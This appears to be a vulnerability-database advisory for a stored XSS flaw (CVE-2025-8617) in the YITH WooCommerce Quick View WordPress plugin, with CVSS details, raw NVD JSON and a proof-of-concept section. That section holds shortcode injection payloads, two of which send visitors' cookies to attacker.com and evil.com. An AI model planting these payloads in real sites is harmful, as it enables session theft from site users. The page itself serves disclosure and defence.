Security Vulnerability Report
中文
CVE-2025-8617 CVSS 6.4 MEDIUM

CVE-2025-8617

Published: 2025-12-13 16:16:56
Last Modified: 2026-04-15 00:35:42

Description

The YITH WooCommerce Quick View plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yith_quick_view shortcode in all versions up to, and including, 2.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

YITH WooCommerce Quick View <= 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Stored XSS PoC for CVE-2025-8617 --> <!-- Author: Wordfence Security Team --> <!-- Target: YITH WooCommerce Quick View Plugin <= 2.7.0 --> <!-- PoC 1: Basic XSS via shortcode attribute --> [yith_quick_view product_id='1" onfocus="alert(document.domain)" autofocus="' type='text'] <!-- PoC 2: Event handler injection --> [yith_quick_view product_id='1'><script>alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,56,54,49,55))</script>'] <!-- PoC 3: Image onerror injection --> [yith_quick_view product_id='1' title='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- PoC 4: Cookie stealing payload --> [yith_quick_view product_id='1" onload="fetch('https://evil.com/log?cookie='+btoa(document.cookie))"><!--']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8617", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The YITH WooCommerce Quick View plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yith_quick_view shortcode in all versions up to, and including, 2.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/yith-woocommerce-quick-view/trunk/includes/class.yith-wcqv-frontend.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3353775%40yith-woocommerce-quick-view&new=3353775%40yith-woocommerce-quick-view&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/yith-woocommerce-quick-view", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8d44dcef-6330-4ef6-8385-923e88db669f?source=cve", "source": "[email protected]"}]}}